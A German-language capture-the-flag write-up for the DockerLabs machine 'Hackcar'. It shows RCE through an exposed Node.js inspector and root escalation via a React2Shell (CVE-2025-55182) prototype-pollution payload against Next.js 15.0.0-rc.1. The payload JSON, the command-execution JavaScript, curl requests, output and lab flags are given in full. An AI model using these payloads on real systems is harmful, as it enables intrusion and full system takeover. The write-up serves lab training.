
Writeup: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell)
Plattform: DockerLabs Schwierigkeit: Mittel (mehr oder weniger, hat es in sich) Ziel: Von
webuserzurootdurch das Knacken einer Next.js
Wie immer, eins nach dem anderen: Schauen wir, was wir vor uns haben.
nmap -sC -sV -T4 172.17.0.2
PORT STATE SERVICE VERSION
8080/tcp open http Node.js (Express middleware)
9229/tcp open http ????
Moment... 9229? Dieser Port ist nicht normal. Und ein vollständiger Scan bestätigt, dass es nur zwei Ports gibt:
nmap -p- --min-rate 1000 -T4 172.17.0.2
PORT STATE SERVICE
8080/tcp open http-proxy
9229/tcp open unknown
Der 9229 ist der typische Port des Node.js Inspectors (Debugger). Wenn er ungeschützt exponiert ist, ist er im Grunde eine offene Tür zur Codeausführung. Prüfen wir das.
curl -s http://172.17.0.2:9229/json
[{
"description": "node.js instance",
"title": "/home/webuser/node_app/app.js",
"webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]
Verdammt. Der Node-Debugger ist exponiert, unauthentifiziert, und verrät uns obendrein, wo die App liegt. Das ist direktes RCE.
Mit dem exponierten Debugger müssen wir uns nur mit dem WebSocket verbinden und Runtime.evaluate verwenden, um auszuführen, was uns beliebt, innerhalb des Node-Prozesses.
Ich habe ein schnelles Python-Skript geschrieben, das die Debugger-URL extrahiert und Befehle mit process.mainModule.require('child_process').execSync() ausführt:
expression = ("process.mainModule.require('child_process')"
f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")
Um mich nicht mit Anführungszeichen herumzuschlagen, schicke ich den gesamten Befehl in base64 und dekodiere ihn innerhalb des Prozesses selbst. Erster Test:
python3 node_rce.py "id"
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)
RCE als webuser. Die Maschine haben wir in der Hand... oder das dachte ich. Es stellt sich heraus, dass das Gute besser versteckt war.
Schauen wir uns die Prozesse an, um zu sehen, was sonst noch auf der Maschine läuft:
ps auxww
root 7 0.0 0.0 sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root 8 0.0 0.0 npm exec next dev -p 3000 -H 127.0.0.1
root 30 0.0 0.0 node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root 42 0.8 2.4 next-server (v15.0.0-rc.1)
Achtung, wichtig! Es läuft eine Next.js Version 15.0.0-rc.1 als ROOT auf Port 3000 (nur localhost). Das riecht nach Privilegien... und nach CVE.
Da sie nur auf 127.0.0.1 innerhalb des Containers lauscht, können wir sie von außen nicht erreichen. Aber wir haben RCE, also können wir von innen eindringen. Schauen wir zuerst, was es ist:
curl -s http://127.0.0.1:3000/
Es erscheint ein "Internal Administration Portal" — ein internes Administrationsportal. Alles sehr verlockend.
Die User-Flag haben wir schnell gefunden:
DL{g2QrDUvg3HiqaWeZBbZa}
Und jetzt gilt es, über diese Next.js zu root zu eskalieren.
Die Version ist Next.js 15.0.0-rc.1, die React 19 verwendet, anfällig für das berühmte React2Shell (CVE-2025-55182): ein kritisches RCE (CVSS 10.0) durch Prototype Pollution im RSC-Parser (React Server Components / Flight-Protokoll).
Der Exploit ist ein fehlerhaftes multipart/form-data mit dem Header Next-Action, das den React-Parser dazu bringt, ein vergiftetes Objekt zu deserialisieren, das schließlich den Function-Konstruktor mit unserem Code aufruft:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B0\"}",
"_response": {
"_prefix": "<CÓDIGO JS A EJECUTAR>",
"_formData": {"get": "$1:constructor:constructor"}
}
}
Also: Chunk.prototype.then wird vergiftet, der Parser lädt unser Modell, und beim Auflösen des Promises wird unser JavaScript im Next.js-Prozess ausgeführt, der als root läuft.
Um die Ausgabe zu erhalten, habe ich den "Redirect"-Modus verwendet: Der Code führt den Befehl aus, kodiert das Ergebnis in base64 und packt es in die digest-Eigenschaft eines Errors, den Next.js als Header zurückgibt:
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;
Die finale Anfrage:
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
-H 'Next-Action: x' \
-F '0=</tmp/p0.txt' \
-F '1=</tmp/p1.txt'
Der Server antwortet mit 500 (das ist normal, es ist ein absichtlicher Fehler) und im Header:
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...
Wir dekodieren:
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
uid=0(root) gid=0(root) groups=0(root)
WIR SIND ROOT. Und die Flag:
python3 react2shell.py "cat /root/root.txt"
DL{Z8Gc5NFYMrH3W4vv5ZWa}
nmap
└─ 8080 (web Express, statisch, reiner Rauch)
└─ 9229 (Node.js Inspector EXPONIERT)
└─ RCE als webuser via Runtime.evaluate
└─ Enumeration: Next.js 15.0.0-rc.1 auf 127.0.0.1:3000 als ROOT
└─ CVE-2025-55182 (React2Shell): RCE root
└─ flag: DL{Z8Gc5NFYMrH3W4vv5ZWa}
Flags:
| Datei | Flag |
|---|---|
/home/webuser/user.txt | DL{g2QrDUvg3HiqaWeZBbZa} |
/root/root.txt | DL{Z8Gc5NFYMrH3W4vv5ZWa} |
| # | Schwachstelle | CWE | Was es uns gab |
|---|---|---|---|
| 1 | Node.js Inspector ohne Authentifizierung (Port 9229) | CWE-284 | RCE als webuser |
| 2 | Next.js 15.0.0-rc.1 veraltet (React2Shell, CVE-2025-55182) | CWE-1321 / CWE-502 | RCE als root |
Lektionen:
| Werkzeug | Verwendung |
|---|---|
nmap | Port-Reconnaissance |
curl | Web-Enumeration und Auslösen des Exploits |
websocket-client (Python) | Mit dem Node-Inspector sprechen |
jadx | Die vorherige Maschine (nicht hier, aber ich finde es immer noch schön) |
base64 | Payloads transportieren ohne Probleme mit Anführungszeichen |
Writeup zu Bildungszwecken. Nur Maschinen anfassen, für die du eine Autorisierung hast (DockerLabs, HTB, dein eigenes Labor).